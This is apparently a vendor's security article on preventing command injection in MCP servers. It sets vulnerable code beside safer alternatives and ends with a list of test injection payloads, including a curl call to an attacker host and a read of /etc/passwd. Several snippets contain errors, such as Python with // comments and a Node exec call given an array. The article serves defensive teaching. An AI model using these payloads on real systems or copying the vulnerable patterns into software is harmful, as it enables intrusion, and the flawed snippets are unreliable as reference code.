Preventing Command Injection in MCP Servers

Understanding Command Injection in MCP Servers

Command injection vulnerabilities occur when user-controlled input is incorporated into a system command without proper sanitization or validation. In the context of Model Context Protocol (MCP) servers, this vulnerability takes on a unique dimension due to the interaction between large language models (LLMs) and external tools.

MCP servers often expose functionality that executes commands on the host system - from simple file operations to complex data processing tasks. When these operations involve string concatenation to build shell commands using data from tool parameters, they create a potential attack vector.

Vulnerable Patterns We Found

Our extensive scanning of public MCP servers revealed several common vulnerable patterns. Here are the most prevalent ones:

1. Direct String Concatenation

// Python Example
user_input = tool_input["filename"]
cmd = "convert " + user_input + " output.png"
os.system(cmd)  // VULNERABLE

// Node.js Example
const userInput = toolInput.query;
const cmd = `grep ${userInput} data.txt`;
exec(cmd, (error, stdout) => {
  return stdout;
});

// Python Example
user_input = tool_input["filename"]
subprocess.run(["convert", user_input, 
                "output.png"], check=True)

// Node.js Example
const userInput = toolInput.query;
exec("grep", [userInput, "data.txt"], 
     (error, stdout) => {
  return stdout;
});

This is the most common vulnerability we found, present in 67% of vulnerable MCP servers. The issue: using string concatenation or template literals to construct command strings passed to shell interpreters.

2. Shell Mode in Subprocess Functions

// Python subprocess with shell=True
user_input = tool_input["query"]
subprocess.run(f"grep {user_input} logs.txt",
              shell=True)  // VULNERABLE

// Node.js exec with shell
const userInput = toolInput.term;
childProcess.execSync(
  `find . -name "${userInput}"`, 
  {shell: true}
);

// Python subprocess without shell
user_input = tool_input["query"]
subprocess.run(["grep", user_input, 
               "logs.txt"])

// Node.js exec without shell
const userInput = toolInput.term;
childProcess.execFileSync("find", 
  [".", "-name", userInput]
);

We found that 29% of vulnerable servers were using subprocess functions with shell mode enabled. This is particularly problematic as it interprets special shell characters like ;, |, &, and $().

3. Insufficient Sanitization

// Python with insufficient sanitization
user_input = tool_input["command"]
user_input = user_input.replace(";", "")
// Only removes first semicolon
os.system("process " + user_input)

// Node.js with regex but missing characters
const userInput = toolInput.cmd;
userInput = userInput.replace(/[;&|]/g, "");
// Missing backticks, $(), etc.
exec(`analyze ${userInput}`);

// Python with proper parameter passing
user_input = tool_input["command"]
// No sanitization needed when using arrays
subprocess.run(["process", user_input])

// Node.js with strict allowlist
const userInput = toolInput.cmd;
if (!/^[a-zA-Z0-9_\-\.]+$/.test(userInput)) {
  throw new Error("Invalid characters");
}
exec(`analyze ${userInput}`);

A troubling 18% of vulnerable servers attempted sanitization but did it incorrectly - often by only removing specific characters once, not accounting for all shell metacharacters, or using incorrect replacement patterns.

Real-World Vulnerability Examples

During our scanning process, we identified several real-world examples of command injection vulnerabilities in MCP servers. Here are two case studies (with sensitive details anonymized):

def convert_image(input_file, output_format):
    // User-controlled output_format injected into command
    cmd = f"convert {input_file} {output_format}"
    os.system(cmd)
    return {"status": "success"}

async function gitOperation(repo, operation, branch) {
    // User-controlled branch parameter injected into command
    const cmd = `git -C ${repo} ${operation} origin/${branch}`;
    return await execPromise(cmd);
}

Comprehensive Prevention Guide

// JavaScript example
function validateFilename(filename) {
  // Only allow alphanumeric, underscore, dash, and extension
  const validPattern = /^[a-zA-Z0-9_-]+\.[a-zA-Z0-9]+$/;
  if (!validPattern.test(filename)) {
    throw new Error("Invalid filename format");
  }
  return filename;
}

// Python example
def validate_integer_range(value, min_val, max_val):
    try:
        num = int(value)
        if min_val <= num <= max_val:
            return num
        else:
            raise ValueError(f"Value must be between {min_val} and {max_val}")
    except ValueError:
        raise ValueError("Value must be an integer")

Testing for Command Injection

Testing is crucial for identifying command injection vulnerabilities before they reach production. We recommend implementing these testing practices:

1. Code Review - Establish mandatory code reviews focusing on how commands are constructed and executed.
2. Static Analysis - Use static analysis tools configured to detect command injection patterns. Configure tools like Semgrep, CodeQL, or language-specific analyzers.
3. Penetration Testing - Conduct regular penetration testing on your MCP servers with a focus on command injection. Try inputs with special characters like ;, |, &, $(), and '' to see if they're properly handled.
4. Automated Security Testing - Integrate security testing into your CI/CD pipeline to catch vulnerabilities before deployment.
5. MCP-Specific Testing - Use MCPScan.ai to regularly scan your servers for command injection vulnerabilities specifically in the context of MCP tool implementations.

input_file.txt; ls -la
input_file.txt && echo "VULNERABLE"
input_file.txt || curl http://attacker.com
input_file.txt `id`
input_file.txt $(cat /etc/passwd)
input_file.txt > /tmp/test
input_file.txt | grep password
*;touch /tmp/pwned

Conclusion

Command injection vulnerabilities in MCP servers represent a significant security risk, especially as these servers often operate with elevated permissions and process potentially untrusted inputs coming through LLM tool usage. Our research shows that nearly a quarter of publicly accessible MCP servers contain some form of command injection vulnerability.

By following the best practices outlined in this article—using array-based command execution, implementing strict input validation, replacing shell commands with library functions, applying the principle of least privilege, and implementing proper error handling—you can significantly reduce the risk of command injection in your MCP server implementations.

Regular security scanning with MCPScan.ai can help identify vulnerabilities in your MCP servers before they can be exploited, ensuring that your AI systems operate securely and responsibly.